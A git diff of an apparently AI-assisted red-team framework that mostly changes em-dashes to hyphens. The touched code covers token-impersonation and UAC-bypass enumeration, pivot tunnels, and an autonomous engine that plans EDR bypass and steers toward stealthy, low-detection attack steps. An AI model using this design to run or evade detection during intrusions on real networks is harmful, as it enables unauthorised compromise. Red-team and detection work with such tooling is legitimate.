hostname.",+ f"{self.MODULE_ID} requires 'target' - IP or hostname.",module_id=self.MODULE_ID, field="target",)await super().validate(ctx)@@ -322,7 +322,7 @@ class ScheduledTasksEnumModule(BaseModule):TASK_ENUM_HIDDEN,)except ImportError:- return [], {"error": "impacket not installed — pip install ares-redteam[ad]"}+ return [], {"error": "impacket not installed - pip install ares-redteam[ad]"}logger.info("scheduled_tasks_enum_start", target=target, username=username)audit("scheduled_tasks_enum", actor=username, source="operator",diff --git a/ares/modules/windows/token_impersonation.py b/ares/modules/windows/token_impersonation.pyindex 9a59cf8..cedf677 100644--- a/ares/modules/windows/token_impersonation.py+++ b/ares/modules/windows/token_impersonation.py@@ -1,5 +1,5 @@"""-Windows Token Impersonation — SeImpersonatePrivilege Abuse (Potato Attacks)+Windows Token Impersonation - SeImpersonatePrivilege Abuse (Potato Attacks)MITRE: T1134.001, T1134.002Detects and exploits SeImpersonatePrivilege via impacket.@@ -40,7 +40,7 @@ logger = get_logger("ares.modules.windows.token_impersonation"))class TokenImpersonationModule(BaseModule):"""- windows.token_impersonation — Detect SeImpersonatePrivilege on current session — prerequisite check for Potato-family privileg+ windows.token_impersonation - Detect SeImpersonatePrivilege on current session - prerequisite check for Potato-family privilegOPSEC: MEDIUMMITRE: "T1134.001", "T1134.002"@@ -51,7 +51,7 @@ class TokenImpersonationModule(BaseModule):MODULE_NAME = "Token Impersonation"MODULE_CATEGORY = "windows"MODULE_DESCRIPTION = (- "Detect SeImpersonatePrivilege on current session — "+ "Detect SeImpersonatePrivilege on current session - ""prerequisite check for Potato-family privilege escalation attacks")MODULE_AUTHOR = "ARES Team <[email protected]>"@@ -248,7 +248,7 @@ class TokenImpersonationModule(BaseModule):try:from impacket.smbconnection import SMBConnection # type: ignore[import]except ImportError:- return [], {"error": "impacket not installed — pip install ares-redteam[ad]"}+ return [], {"error": "impacket not installed - pip install ares-redteam[ad]"}logger.info("token_impersonation_check", target=target, username=username)from ares.core.logger import audit as _audit@@ -280,7 +280,7 @@ class TokenImpersonationModule(BaseModule):wmi_iface = wmi.WMIInterface(dce)query = "SELECT * FROM Win32_Process WHERE Name = 'lsass.exe'"results = wmi_iface.ExecQuery(query)- # Just connectivity check — real priv check via WMI is complex+ # Just connectivity check - real priv check via WMI is complexreturn "connected"except Exception as e:return str(e)[:200]diff --git a/ares/modules/windows/uac_bypass.py b/ares/modules/windows/uac_bypass.pyindex 8a0869a..1d5b0f0 100644--- a/ares/modules/windows/uac_bypass.py+++ b/ares/modules/windows/uac_bypass.py@@ -3,9 +3,9 @@ Windows UAC Configuration Audit & Bypass Technique EnumerationMITRE: T1548.002 (Bypass User Account Control)Connects to target via impacket remote registry to read UAC configuration:- - EnableLUA — whether UAC is enabled at all- - ConsentPromptBehaviorAdmin — UAC consent level (0–5)- - PromptOnSecureDesktop — whether secure desktop is used+ - EnableLUA - whether UAC is enabled at all+ - ConsentPromptBehaviorAdmin - UAC consent level (0–5)+ - PromptOnSecureDesktop - whether secure desktop is usedBased on OS version and UAC level, reports which bypass techniquesare applicable (fodhelper, sdclt, eventvwr, etc.).@@ -14,7 +14,7 @@ This module is DETECTION AND ENUMERATION ONLY.It does NOT perform any bypass or privilege escalation.Operator must assess findings and decide on further action.-OPSEC: LOW — reads registry remotely, no process execution on target.+OPSEC: LOW - reads registry remotely, no process execution on target.Generates: Event 4688 (process creation, if auditing enabled) whenimpacket opens SMB connection. No more."""@@ -44,12 +44,12 @@ logger = get_logger("ares.modules.windows.uac_bypass")# ── UAC consent level descriptions ────────────────────────────────────────────_CONSENT_LEVEL: dict[int, tuple[str, str]] = {- 0: ("No UAC prompt — silently elevates", "CRITICAL"),+ 0: ("No UAC prompt - silently elevates", "CRITICAL"),1: ("Prompt for credentials on secure desktop", "MEDIUM"),2: ("Prompt for consent on secure desktop", "MEDIUM"),3: ("Prompt for credentials (no secure desktop)", "HIGH"),4: ("Prompt for consent (no secure desktop)", "HIGH"),- 5: ("Default — prompt only for non-Windows binaries", "HIGH"),+ 5: ("Default - prompt only for non-Windows binaries", "HIGH"),}# ── Bypass techniques per Windows version & UAC level ─────────────────────────@@ -110,7 +110,7 @@ _BYPASS_TECHNIQUES: list[dict[str, Any]] = [)class UACBypassModule(BaseModule):"""- windows.uac_bypass — Read UAC configuration via remote registry and enumerate applicable bypass techniques — detectio+ windows.uac_bypass - Read UAC configuration via remote registry and enumerate applicable bypass techniques - detectioOPSEC: LOWMITRE: "T1548.002", "T1082"@@ -122,7 +122,7 @@ class UACBypassModule(BaseModule):MODULE_CATEGORY = "windows"MODULE_DESCRIPTION = ("Read UAC configuration via remote registry and enumerate "- "applicable bypass techniques — detection and enumeration only"+ "applicable bypass techniques - detection and enumeration only")MODULE_AUTHOR = "ARES Team <[email protected]>"OPSEC_LEVEL = OpsecLevel.LOW@@ -149,7 +149,7 @@ class UACBypassModule(BaseModule):target = getattr(ctx, "target", "") or (ctx.params.get("target", "") if isinstance(ctx.params, dict) else getattr(ctx.params, "target", ""))if not target:raise ModuleValidationError(- f"{self.MODULE_ID} requires 'target' — IP or hostname.",+ f"{self.MODULE_ID} requires 'target' - IP or hostname.",module_id=self.MODULE_ID, field="target",)await super().validate(ctx)@@ -289,7 +289,7 @@ class UACBypassModule(BaseModule):hBaseRegCloseKey,)except ImportError:- return [], {"error": "impacket not installed — pip install ares-redteam[ad]"}+ return [], {"error": "impacket not installed - pip install ares-redteam[ad]"}logger.info("uac_bypass_audit_start", target=target, username=username)audit("uac_audit", actor=username, source="operator",@@ -412,7 +412,7 @@ class UACBypassModule(BaseModule):f"User Account Control (UAC) is completely disabled on {target} "f"({product}). ""Any process run by a local administrator already runs with "- "full elevation — no bypass needed. "+ "full elevation - no bypass needed. ""This is a severe misconfiguration on any server or workstation."),severity=Severity.CRITICAL,@@ -449,7 +449,7 @@ class UACBypassModule(BaseModule):extra = ""if not secure_desktop:extra = (- " PromptOnSecureDesktop is DISABLED — "+ " PromptOnSecureDesktop is DISABLED - ""UAC prompt appears on regular desktop, ""making it susceptible to UI spoofing attacks.")@@ -457,7 +457,7 @@ class UACBypassModule(BaseModule):self.finding(title=(f"UAC Level {consent_level} on {target}: "- f"{desc_text.split(' — ')[0]}"+ f"{desc_text.split(' - ')[0]}"),description=(f"{target} ({product} build {build}) has UAC enabled "@@ -515,7 +515,7 @@ class UACBypassModule(BaseModule):remediation=("Set UAC to 'Always notify' (ConsentPromptBehaviorAdmin=2) ""and enable Secure Desktop (PromptOnSecureDesktop=1). "- "Patch Windows regularly — many bypass techniques are "+ "Patch Windows regularly - many bypass techniques are ""periodically patched by Microsoft."),host=target, confidence=0.9,diff --git a/ares/network/__init__.py b/ares/network/__init__.pyindex 3951ca6..8e9757b 100644--- a/ares/network/__init__.py+++ b/ares/network/__init__.py@@ -1,5 +1,5 @@"""-ARES — network+ARES - networkNetwork topology modelPublic API for this package. Import from here in production code:@@ -19,7 +19,7 @@ except ImportError:try:- from ares.network import model # noqa: F401 — submodule re-export+ from ares.network import model # noqa: F401 - submodule re-exportexcept ImportError:passdiff --git a/ares/network/model.py b/ares/network/model.pyindex 473006b..384fd03 100644--- a/ares/network/model.py+++ b/ares/network/model.py@@ -358,7 +358,7 @@ class NetworkModel:# ═══════════════════════════════════════════════════════════════════════════════-# Legacy-compatible classes (ARES ≤ 0.4 API — kept for backward compatibility)+# Legacy-compatible classes (ARES ≤ 0.4 API - kept for backward compatibility)# New code should use HostNode / NetworkModel.# ═══════════════════════════════════════════════════════════════════════════════diff --git a/ares/normalize/__init__.py b/ares/normalize/__init__.pyindex 1ef1212..12879e3 100644--- a/ares/normalize/__init__.py+++ b/ares/normalize/__init__.py@@ -1,5 +1,5 @@"""-ARES — normalize+ARES - normalizeArtifact normalization layerPublic API for this package. Import from here in production code:diff --git a/ares/normalize/artifacts.py b/ares/normalize/artifacts.pyindex f2ada8b..97199c3 100644--- a/ares/normalize/artifacts.py+++ b/ares/normalize/artifacts.py@@ -10,16 +10,16 @@ This enables:- Data deduplication (same host reported by two modules = one node)Artifact taxonomy:- Host — IP address, hostname, OS, open ports- Domain — AD domain with trust relationships- User — domain/local user account- Credential — NTLM hash, cleartext, ticket, key- Service — SPN-registered service- Permission — ACE (who can do what to whom)- Finding — vulnerability/misconfiguration- Hash — crackable hash (KRB5TGS, KRB5ASREP, NTLM)- Secret — plaintext secret (API key, password, token)- CloudResource — S3 bucket, IAM role, storage account+ Host - IP address, hostname, OS, open ports+ Domain - AD domain with trust relationships+ User - domain/local user account+ Credential - NTLM hash, cleartext, ticket, key+ Service - SPN-registered service+ Permission - ACE (who can do what to whom)+ Finding - vulnerability/misconfiguration+ Hash - crackable hash (KRB5TGS, KRB5ASREP, NTLM)+ Secret - plaintext secret (API key, password, token)+ CloudResource - S3 bucket, IAM role, storage accountUsage in a module:from ares.normalize.artifacts import NormalizedArtifact, User, Host, Credential@@ -79,7 +79,7 @@ class NormalizedArtifact:@propertydef uid(self) -> str:- """Deterministic UID — same content = same ID (enables deduplication)."""+ """Deterministic UID - same content = same ID (enables deduplication)."""if self._uid:return self._uidkey = f"{self.artifact_type.value}:{self._dedup_key()}"@@ -290,7 +290,7 @@ class HashArtifact(NormalizedArtifact):@dataclassclass PermissionArtifact(NormalizedArtifact):- """An ACE (Access Control Entry) — who can do what to whom."""+ """An ACE (Access Control Entry) - who can do what to whom."""principal: str = "" # who holds the righttarget: str = "" # object the right is onright: str = "" # GenericAll, WriteDACL, etc.diff --git a/ares/pivot/__init__.py b/ares/pivot/__init__.pyindex 33d0f0d..ee3fd3b 100644--- a/ares/pivot/__init__.py+++ b/ares/pivot/__init__.py@@ -1,5 +1,5 @@"""-ARES — pivot+ARES - pivotPivot tunnel management (SOCKS5, local-forward, teardown).Public API for this package. Import from here in production code:diff --git a/ares/pivot/infrastructure.py b/ares/pivot/infrastructure.pyindex a4350ed..3a6a4ba 100644--- a/ares/pivot/infrastructure.py+++ b/ares/pivot/infrastructure.py@@ -57,11 +57,11 @@ class PivotTunnel:pivot_host: str = ""pivot_port: int = 22 # SSH port on pivot- # Listener (local side — operator machine)+ # Listener (local side - operator machine)local_host: str = "127.0.0.1"local_port: int = 0 # 0 = auto-assigned- # Target (remote side — what we're reaching through pivot)+ # Target (remote side - what we're reaching through pivot)remote_host: str = "" # for port-forward tunnelsremote_port: int = 0 # for port-forward tunnels@@ -80,7 +80,7 @@ class PivotTunnel:# Reachable subnets through this tunnelreachable_subnets: list[str] = field(default_factory=list)- # Runtime handles — typed as Any to avoid hard dependency on asyncssh/subprocess+ # Runtime handles - typed as Any to avoid hard dependency on asyncssh/subprocess# These are populated during establish_* methods and cleaned up in teardown()_conn: Any = field(default=None, repr=False, compare=False)_forwarder: Any = field(default=None, repr=False, compare=False)@@ -257,7 +257,7 @@ class PivotManager:logger.info("socks5_subprocess_established",pivot=pivot_host, local_port=local_port)else:- # asyncssh not installed and no ssh binary — record as active+ # asyncssh not installed and no ssh binary - record as active# (operator must establish tunnel externally)tunnel.state = TunnelState.ACTIVElogger.warning("socks5_no_backend_available",@@ -403,7 +403,7 @@ class PivotManager:return fwddef teardown(self, tunnel_id: str) -> bool:- """Close and remove a tunnel — closes asyncssh conn or subprocess."""+ """Close and remove a tunnel - closes asyncssh conn or subprocess."""tunnel = self._tunnels.get(tunnel_id)if not tunnel:return Falsediff --git a/ares/replay/__init__.py b/ares/replay/__init__.pyindex 11a6807..e93bf00 100644--- a/ares/replay/__init__.py+++ b/ares/replay/__init__.py@@ -1,5 +1,5 @@"""-ARES — replay+ARES - replayAttack scenario replay enginePublic API for this package. Import from here in production code:diff --git a/ares/replay/engine.py b/ares/replay/engine.pyindex e1838c7..351ab7e 100644--- a/ares/replay/engine.py+++ b/ares/replay/engine.py@@ -3,10 +3,10 @@ ARES Campaign Replay EngineReplays a past campaign for training, purple team exercises, and forensic analysis.Modes:- FULL — re-execute all attacks (real network, real targets)- SIMULATE — replay attack sequence without network connections (safe for demos)- TIMELINE — stream events chronologically for visualization- PURPLE — replay with defender notifications (detection testing)+ FULL - re-execute all attacks (real network, real targets)+ SIMULATE - replay attack sequence without network connections (safe for demos)+ TIMELINE - stream events chronologically for visualization+ PURPLE - replay with defender notifications (detection testing)Usage:replay = CampaignReplay.load(campaign_id, db)@@ -33,7 +33,7 @@ logger = get_logger("ares.replay")class ReplayMode(str, Enum):FULL = "full" # real execution on live network- SIMULATE = "simulate" # no network — event simulation only+ SIMULATE = "simulate" # no network - event simulation onlyTIMELINE = "timeline" # stream events at original timingPURPLE = "purple" # run + alert defender teamdiff --git a/ares/security/__init__.py b/ares/security/__init__.pyindex 614ad73..297799c 100644--- a/ares/security/__init__.py+++ b/ares/security/__init__.py@@ -1,5 +1,5 @@"""-ARES — security+ARES - securitySecurity hardening utilities, dependency auditing, and vulnerability scanning.Public API for this package. Import from here in production code:diff --git a/ares/security/audit.py b/ares/security/audit.pyindex 4569f18..6270908 100644--- a/ares/security/audit.py+++ b/ares/security/audit.py@@ -7,7 +7,7 @@ Results exposed via:- Scheduled: runs on engine startup (warn-only by default)pip-audit queries the OSV (Open Source Vulnerabilities) database-and PyPI Advisory Database — no external API key needed.+and PyPI Advisory Database - no external API key needed.Usage:from ares.security.audit import run_dependency_audit, AuditPolicy@@ -21,9 +21,9 @@ Startup check (engine integration):await startup_audit(policy=AuditPolicy.WARN) # or BLOCK_CRITICALPolicy:- WARN — log vulnerabilities, continue startup- BLOCK_CRITICAL — abort startup if any CRITICAL CVEs found- BLOCK_ANY — abort startup if any CVEs found+ WARN - log vulnerabilities, continue startup+ BLOCK_CRITICAL - abort startup if any CRITICAL CVEs found+ BLOCK_ANY - abort startup if any CVEs found"""from __future__ import annotations@@ -130,7 +130,7 @@ class AuditResult:if self.error:return f"Audit failed: {self.error}"if self.clean:- return f"✓ Clean — {self.scanned_packages} packages, 0 vulnerabilities"+ return f"✓ Clean - {self.scanned_packages} packages, 0 vulnerabilities"return (f"⚠ {self.total_count} vulnerabilities "f"({self.critical_count} critical, {self.high_count} high) "@@ -194,7 +194,7 @@ def _cvss_to_severity(fix_versions: list[str], vuln_id: str,# 2. Heuristic fallback based on vuln_id prefixvuln_lower = vuln_id.lower()if "ghsa" in vuln_lower or "cve" in vuln_lower:- return CVSSScore.HIGH # conservative — HIGH until score confirmed+ return CVSSScore.HIGH # conservative - HIGH until score confirmedreturn CVSSScore.UNKNOWN@@ -228,7 +228,7 @@ async def _run_pip_audit(# Check if pip-audit is availableif not shutil.which("pip-audit"):- logger.warning("pip-audit not installed — dependency audit unavailable")+ logger.warning("pip-audit not installed - dependency audit unavailable")return AuditResult(tool_available = False,error = "pip-audit not installed. Install: pip install pip-audit",@@ -260,7 +260,7 @@ async def _run_pip_audit(duration = time.monotonic() - t0- # pip-audit exits 1 when vulnerabilities found — parse output regardless+ # pip-audit exits 1 when vulnerabilities found - parse output regardlesstry:raw_json = json.loads(stdout.decode())except json.JSONDecodeError:@@ -314,9 +314,9 @@ async def startup_audit() -> None:"""Run audit at engine startup. Behavior controlled by policy:- WARN — log vulnerabilities, continue- BLOCK_CRITICAL — raise if critical CVEs found- BLOCK_ANY — raise if any CVEs found+ WARN - log vulnerabilities, continue+ BLOCK_CRITICAL - raise if critical CVEs found+ BLOCK_ANY - raise if any CVEs found"""logger.info("Running startup dependency audit...")result = await _run_pip_audit()diff --git a/ares/service_intel/__init__.py b/ares/service_intel/__init__.pyindex f1045f2..694bd07 100644--- a/ares/service_intel/__init__.py+++ b/ares/service_intel/__init__.py@@ -1,5 +1,5 @@"""-ARES — service_intel+ARES - service_intelService intelligence and vulnerability mappingPublic API for this package. Import from here in production code:diff --git a/ares/service_intel/engine.py b/ares/service_intel/engine.pyindex 8d0cade..8aca21b 100644--- a/ares/service_intel/engine.py+++ b/ares/service_intel/engine.py@@ -54,7 +54,7 @@ class ServiceProfile:description: str = ""attack_modules: list[str] = field(default_factory=list) # module IDs that can attack this servicecred_types: list[str] = field(default_factory=list) # credential types that work here- opsec_risk: str = "medium" # low | medium | high — how noisy attacking this is+ opsec_risk: str = "medium" # low | medium | high - how noisy attacking this ismitre_techniques: list[str] = field(default_factory=list)diff --git a/ares/state/__init__.py b/ares/state/__init__.pyindex 45a8a05..8f18932 100644--- a/ares/state/__init__.py+++ b/ares/state/__init__.py@@ -1,5 +1,5 @@"""-ARES — state+ARES - stateSession/host state trackingPublic API for this package. Import from here in production code:diff --git a/ares/state/target_state.py b/ares/state/target_state.pyindex 3971c24..08fa547 100644--- a/ares/state/target_state.py+++ b/ares/state/target_state.py@@ -69,7 +69,7 @@ class ServiceEntry:class HostState:"""Full state of a single target host."""ip_address: str = ""- ip: str = field(default="", repr=False) # alias — set either ip_address or ip+ ip: str = field(default="", repr=False) # alias - set either ip_address or iphostname: str = ""fqdn: str = ""domain: str = ""@@ -296,7 +296,7 @@ class OperatorSession:credentials: list | None = None,**kwargs: Any,) -> None:- """Alias untuk mark_host_owned — auto-create host jika belum ada."""+ """Alias untuk mark_host_owned - auto-create host jika belum ada."""if ip_or_hostname not in self._hosts:self.add_host(ip_or_hostname)self.mark_host_owned(ip_or_hostname, level, via_module=via_module, username=username)@@ -497,5 +497,5 @@ class OperatorSession:# ── Public aliases (backward compatibility + test convenience) ─────────────────-#: Alias for HostState — used in tests and external tooling that prefer the name TargetHost+#: Alias for HostState - used in tests and external tooling that prefer the name TargetHostTargetHost = HostStatediff --git a/ares/strategy/__init__.py b/ares/strategy/__init__.pyindex 657f6c8..39fa953 100644--- a/ares/strategy/__init__.py+++ b/ares/strategy/__init__.py@@ -1,14 +1,14 @@"""-ares.strategy — Autonomous Engagement Strategy Engine+ares.strategy - Autonomous Engagement Strategy EngineRe-exports all public symbols from submodules for backward compatibility.Internal structure:- strategy/models.py — ModuleOutcome, RoundResult, EngagementResult, DetectionSpikeError- strategy/knowledge_base.py — OutcomeKnowledgeBase- strategy/notifier.py — OperatorNotifier- strategy/engine.py — StrategyEngine- strategy/enforcer.py — ConstitutionEnforcer- strategy/target_state.py — TargetStateMap+ strategy/models.py - ModuleOutcome, RoundResult, EngagementResult, DetectionSpikeError+ strategy/knowledge_base.py - OutcomeKnowledgeBase+ strategy/notifier.py - OperatorNotifier+ strategy/engine.py - StrategyEngine+ strategy/enforcer.py - ConstitutionEnforcer+ strategy/target_state.py - TargetStateMap"""from ares.strategy.models import ( # noqa: F401diff --git a/ares/strategy/enforcer.py b/ares/strategy/enforcer.pyindex 483c232..2e881d3 100644--- a/ares/strategy/enforcer.py+++ b/ares/strategy/enforcer.py@@ -1,8 +1,8 @@"""-ares/strategy/enforcer.py — ConstitutionEnforcer+ares/strategy/enforcer.py - ConstitutionEnforcerHard Python-layer enforcement between LLM output and engine execution.-LLM prompt-based constitution can be ignored by hallucinating LLMs —+LLM prompt-based constitution can be ignored by hallucinating LLMs -this layer CANNOT be bypassed by any prompt.Removes violating modules from plan BEFORE it reaches engine.run_module().@@ -38,7 +38,7 @@ ALWAYS_REQUIRE_AUTH: frozenset[str] = frozenset({# Modules that are absolutely never allowed (data destructive / ransomware-adjacent)ALWAYS_FORBIDDEN: frozenset[str] = frozenset({# Add any engagement-universal hard blocks here- # Currently empty — per-engagement forbidden_modules handles this+ # Currently empty - per-engagement forbidden_modules handles this})@@ -174,7 +174,7 @@ class ConstitutionEnforcer:if clean_mods:clean_stages.append({**stage, "modules": clean_mods})elif raw_modules:- # All modules in stage were removed — log clearly+ # All modules in stage were removed - log clearlylogger.warning("constitution_stage_emptied",stage=stage_name,removed=raw_modules)diff --git a/ares/strategy/engine.py b/ares/strategy/engine.pyindex 54adb50..6e0684b 100644--- a/ares/strategy/engine.py+++ b/ares/strategy/engine.py@@ -1,5 +1,5 @@"""-ares.strategy.engine — Autonomous Engagement Strategy Engine+ares.strategy.engine - Autonomous Engagement Strategy EngineOrchestrates strategic modules in a continuous adaptive engagement loop.Extracted from strategy/__init__.py for maintainability.@@ -32,7 +32,7 @@ class StrategyEngine:Orchestrates all 4 strategic modules in an adaptive engagement loop.Each round:- 1. Check detection probability — stop if too hot+ 1. Check detection probability - stop if too hot2. Gather EDR context for bypass planning3. AI re-plans with full accumulated context4. Execute plan with bypass techniques applied@@ -419,7 +419,7 @@ class StrategyEngine:final_status = "low_confidence"break- # ── ConstitutionEnforcer — Python-layer safety, cannot be bypassed ─+ # ── ConstitutionEnforcer - Python-layer safety, cannot be bypassed ─# Build AIPlan object from raw planner output for enforcerfrom ares.modules.ai.autonomous_planner import AIPlanai_plan = AIPlan(@@ -459,7 +459,7 @@ class StrategyEngine:for s in ai_plan.stages]- # Notify operator — plan ready for review+ # Notify operator - plan ready for reviewawait self._notifier.send("plan_ready", {"round": round_num,"confidence": plan_confidence,@@ -504,7 +504,7 @@ class StrategyEngine:**round_extra_context,"rejected_plan_reason": (f"Plan rejected: projected detection "- f"{projection['projected_score']:.0%} — too high. "+ f"{projection['projected_score']:.0%} - too high. ""Use STEALTH techniques only. ""Avoid HIGH_NOISE modules. "f"Flagged modules: "@@ -515,7 +515,7 @@ class StrategyEngine:replan_conf = replan_result.get("confidence_score", 0.0)replan_plan = replan_result.get("execution_plan", [])if replan_conf >= confidence_threshold and replan_plan:- # Accept revised plan — re-enforce and re-check projection+ # Accept revised plan - re-enforce and re-check projectionai_plan.stages = replan_planai_plan, _ = enforcer.enforce(ai_plan, campaign)exec_plan = [@@ -526,7 +526,7 @@ class StrategyEngine:logger.info("pre_exec_replan_accepted",round=round_num, confidence=replan_conf)else:- # Replan also failed — stop this round+ # Replan also failed - stop this roundlogger.warning("pre_exec_replan_failed",round=round_num, confidence=replan_conf)rounds.append(RoundResult(@@ -775,7 +775,7 @@ class StrategyEngine:def _build_base_params(self, campaign: "Any") -> dict:"""- Return base params that all modules inherit — intentionally minimal.+ Return base params that all modules inherit - intentionally minimal.DO NOT set "target" here: CIDR network address (e.g. 10.0.0.0) is nota valid scan target. LLM stage_params must specify the actual host.If LLM omits target, the module will fail with a validation errordiff --git a/ares/strategy/knowledge_base.py b/ares/strategy/knowledge_base.pyindex ff3cb2a..9d50d3f 100644--- a/ares/strategy/knowledge_base.py+++ b/ares/strategy/knowledge_base.py@@ -1,5 +1,5 @@"""-ares.strategy.knowledge_base — Per-session outcome tracking for autonomous engagements.+ares.strategy.knowledge_base - Per-session outcome tracking for autonomous engagements.Tracks module success rates per EDR vendor across rounds.Feeds context to AI planner for better decision-making in subsequent rounds.@@ -16,7 +16,7 @@ logger = get_logger("ares.strategy.knowledge_base")class OutcomeKnowledgeBase:"""Per-session knowledge base tracking module success rates per EDR vendor.- Persists in memory across rounds — feeds AI planner for better decisions.+ Persists in memory across rounds - feeds AI planner for better decisions."""def __init__(self) -> None:diff --git a/ares/strategy/models.py b/ares/strategy/models.pyindex c9fcfd3..7ade44a 100644--- a/ares/strategy/models.py+++ b/ares/strategy/models.py@@ -1,5 +1,5 @@"""-ares.strategy.models — Data models for the autonomous engagement strategy engine.+ares.strategy.models - Data models for the autonomous engagement strategy engine.Dataclasses used across StrategyEngine, KnowledgeBase, and Notifier.Extracted from strategy/__init__.py for maintainability.diff --git a/ares/strategy/notifier.py b/ares/strategy/notifier.pyindex 5cadbf9..fa2fa6d 100644--- a/ares/strategy/notifier.py+++ b/ares/strategy/notifier.py@@ -1,5 +1,5 @@"""-ares.strategy.notifier — Operator notification hooks for autonomous engagements.+ares.strategy.notifier - Operator notification hooks for autonomous engagements.Collects and dispatches notifications during strategy engine rounds.Pluggable via webhook callback or WebSocket forwarding.@@ -18,7 +18,7 @@ logger = get_logger("ares.strategy.notifier")class OperatorNotifier:- """Collects operator notifications — pluggable via webhook or WebSocket."""+ """Collects operator notifications - pluggable via webhook or WebSocket."""def __init__(self, notify_fn: Callable | None = None) -> None:self._fn = notify_fndiff --git a/ares/strategy/target_state.py b/ares/strategy/target_state.pyindex 1350356..908d216 100644--- a/ares/strategy/target_state.py+++ b/ares/strategy/target_state.py@@ -1,5 +1,5 @@"""-ares/strategy/target_state.py — Per-Host Memory for StrategyEngine+ares/strategy/target_state.py - Per-Host Memory for StrategyEngineTracks what ARES knows about each target host across rounds:- Which modules succeeded / failed herediff --git a/ares/technique/__init__.py b/ares/technique/__init__.pyindex ba2ee96..d31e5e8 100644--- a/ares/technique/__init__.py+++ b/ares/technique/__init__.py@@ -1,5 +1,5 @@"""-ARES — technique+ARES - techniqueMITRE ATT&CK technique libraryPublic API for this package. Import from here in production code:diff --git a/ares/technique/library.py b/ares/technique/library.pyindex 164f0ae..1d96316 100644--- a/ares/technique/library.py+++ b/ares/technique/library.py@@ -652,7 +652,7 @@ _MODULE_TECHNIQUE_MAP: dict[str, list[str]] = {"network.pivot": ["T1090.001", "T1021.004"],# ── Recon & Reporting ────────────────────────────────────────────────────"recon.fingerprint": ["T1082", "T1518.001"],- "reporting.report_gen": [], # no offensive technique — output only+ "reporting.report_gen": [], # no offensive technique - output only# ── New strategic modules ─────────────────────────────────────────────────"opsec.coverage_predictor": ["T1592"],"edr.bypass_adaptive": ["T1562.001", "T1055", "T1027", "T1562.006"],diff --git a/ares/telemetry/__init__.py b/ares/telemetry/__init__.pyindex 77af18c..c3d6126 100644--- a/ares/telemetry/__init__.py+++ b/ares/telemetry/__init__.py@@ -1,5 +1,5 @@"""-ARES — telemetry+ARES - telemetryTelemetry and metrics collectionPublic API for this package. Import from here in production code:diff --git a/ares/worker/__init__.py b/ares/worker/__init__.pyindex d4e8c49..db55565 100644--- a/ares/worker/__init__.py+++ b/ares/worker/__init__.py@@ -1,5 +1,5 @@"""-ARES — worker+ARES - workerDistributed worker clusterPublic API for this package. Import from here in production code:diff --git a/ares/worker/_subprocess_worker.py b/ares/worker/_subprocess_worker.pyindex 4754b97..f88e597 100644--- a/ares/worker/_subprocess_worker.py+++ b/ares/worker/_subprocess_worker.py@@ -4,7 +4,7 @@ This script is executed as a child process by IsolatedRunner.It reads a JSON payload from stdin, runs the requested module,and writes a JSON result to stdout.-Parent process reads stdout — stderr is logged separately.+Parent process reads stdout - stderr is logged separately.Exit code 0 = success (even if module found nothing).Exit code 1 = crash (parent will log stderr)."""@@ -23,7 +23,7 @@ try:_HAS_RESOURCE = Trueexcept ImportError:_resource = None # type: ignore[assignment]- _HAS_RESOURCE = False # Windows — resource limits not available+ _HAS_RESOURCE = False # Windows - resource limits not availabledef apply_memory_limit(max_mb: int | None) -> None:@@ -46,7 +46,7 @@ def apply_capability_limits(caps: set[str], limits: dict[str, int]) -> None:to apply CPU, memory, process, and file descriptor limits."""if not _HAS_RESOURCE:- return # Windows — resource limits not supported+ return # Windows - resource limits not supportedtry:cpu_s = limits.get("cpu_time_s", 30)mem_mb = limits.get("memory_mb", 256)@@ -70,7 +70,7 @@ def apply_capability_limits(caps: set[str], limits: dict[str, int]) -> None:_resource.setrlimit(_resource.RLIMIT_NOFILE, (nfiles, nfiles))except (AttributeError, ValueError, OSError):- pass # Platform doesn't support — fail open (log in parent)+ pass # Platform doesn't support - fail open (log in parent)def check_capability_boundary(module_id: str, caps: set[str]) -> None:@@ -84,7 +84,7 @@ def check_capability_boundary(module_id: str, caps: set[str]) -> None:di test environment."""if "cap_unsafe" in caps:- return # builtin modules — no restrictions+ return # builtin modules - no restrictionsimport os@@ -223,7 +223,7 @@ def main() -> None:sys.stdout.write(json.dumps(result))sys.stdout.flush()sys.exit(0)- except Exception: # top-level subprocess handler — must catch all+ except Exception: # top-level subprocess handler - must catch allerr = traceback.format_exc()sys.stderr.write(f"[worker] Unhandled exception:\n{err}\n")error_result = {diff --git a/ares/worker/cluster.py b/ares/worker/cluster.pyindex ec73d1d..3b1c1a6 100644--- a/ares/worker/cluster.py+++ b/ares/worker/cluster.py@@ -63,7 +63,7 @@ class TaskState(str, Enum):_SENSITIVE_PARAM_KEYS: frozenset[str] = frozenset({- # Credentials — must never be stored plaintext in Redis+ # Credentials - must never be stored plaintext in Redis"password","secret","nt_hash",@@ -104,9 +104,9 @@ class ClusterTask:timeout_s: int = 300 # 5 min default task timeoutdef to_json(self) -> str:- """Serialize to JSON — redacts sensitive credential params before writing to Redis."""+ """Serialize to JSON - redacts sensitive credential params before writing to Redis."""d = asdict(self)- # Redact sensitive values — never store plaintext credentials in Redis+ # Redact sensitive values - never store plaintext credentials in Redisif d.get("params"):d["params"] = {k: "<REDACTED>" if k in _SENSITIVE_PARAM_KEYS else v@@ -242,7 +242,7 @@ class RedisTaskQueue:"""Claim the highest-priority task this worker can handle.- Uses ZPOPMIN (truly atomic) — a single command that reads and removes+ Uses ZPOPMIN (truly atomic) - a single command that reads and removesin one operation. The old zrange+zrem pattern was non-atomic: two workerscould both read the same candidate then race on zrem, with the losersilently dropping the task. ZPOPMIN prevents that entirely.@@ -251,7 +251,7 @@ class RedisTaskQueue:the queue with its original score so another worker can pick it up."""# ZPOPMIN pops the member with the lowest score (= highest priority) atomically.- # count=1 — claim one task per call. Loop until we find one we can handle+ # count=1 - claim one task per call. Loop until we find one we can handle# or the queue is empty.max_skip = 20 # don't loop forever if every task is unhandleablefor _ in range(max_skip):@@ -269,7 +269,7 @@ class RedisTaskQueue:task_json = await self._redis.hget(self.INFLIGHT_KEY, task_id)if not task_json:- # Orphaned score entry — already completed/failed, skip+ # Orphaned score entry - already completed/failed, skipcontinuetask = ClusterTask.from_json(task_json)@@ -392,7 +392,7 @@ class RedisTaskQueue:class InProcessTaskQueue:"""- Pure asyncio in-process queue — no Redis required.+ Pure asyncio in-process queue - no Redis required.Same interface as RedisTaskQueue.Used in single-operator mode and testing."""@@ -678,11 +678,11 @@ class ClusterWorkerNode:settings = get_settings()# Fetch real campaign scope from DB so scope guard is not bypassed- _real_scope: list[ScopeEntry] = [] # deny-all default — fail closed+ _real_scope: list[ScopeEntry] = [] # deny-all default - fail 